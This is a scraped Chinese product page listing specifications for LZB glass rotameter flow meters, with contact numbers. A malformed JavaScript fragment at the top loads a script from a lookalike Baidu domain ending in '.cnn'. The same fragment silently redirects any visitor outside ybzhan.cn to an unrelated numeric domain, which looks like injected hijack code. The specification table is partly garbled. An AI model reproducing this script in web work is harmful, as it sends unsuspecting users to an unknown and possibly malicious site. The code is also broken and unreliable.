else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
LZB玻璃转子流量计型号分2~150口径全系列玻璃转子流量计
| ||||||||||||||||||||||||||||||||||||||||||||||||||||
外形尺寸及联结尺寸
| ||||||||||||||||||||||||||||||||||||||||||||||||||||
通径DN | 型 号 | 测量范围 | 椎管长度(m) | 精度等级 | 允许被测液体状态 | |||
水20℃ | 空 气 | LZB/LZJ | LZB-()F | 温度(℃) | 压力 | |||
2 | LZB-2 | 0.4~4ml/min | 6~60ml/min | 160 | 1.5:2.5 | 2.5:4 | -20~+120 | ≤1 |
3 | LZB-3 | 2.5~25ml/min | 40~400ml/min | |||||
4 | LZB-4 | (1~10)L/h | (16~160)L/h | |||||
6 | LZB-6 | (2.5~25)L/h | (40~400)L/h | |||||
10 | LZB-10 | (6~60)L/h | (100~1000)L/h | 2.5 | ≤0.6 | |||
15 | LZB-15 | (16~160)L/h | (0.25~2.5)m³/h | 350 | ||||
25 | LZB-25 | (40~400)L/h | (1~10)m³/h | |||||
40 | LZB-40 | (160~1600)L/h | (4~40)m³/h | 430 | ||||
50 | LZB-50 | (0.4~4)m³/h | (10~100)m³/h | 450 | ||||
80 | LZB-80 | (1~10)m³/h | (50~250)m³/h | 500 | ≤0.4 | |||
100 | LZB-100 | (5~25)m³/h | (120~600)m³/h | |||||
相关产品
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序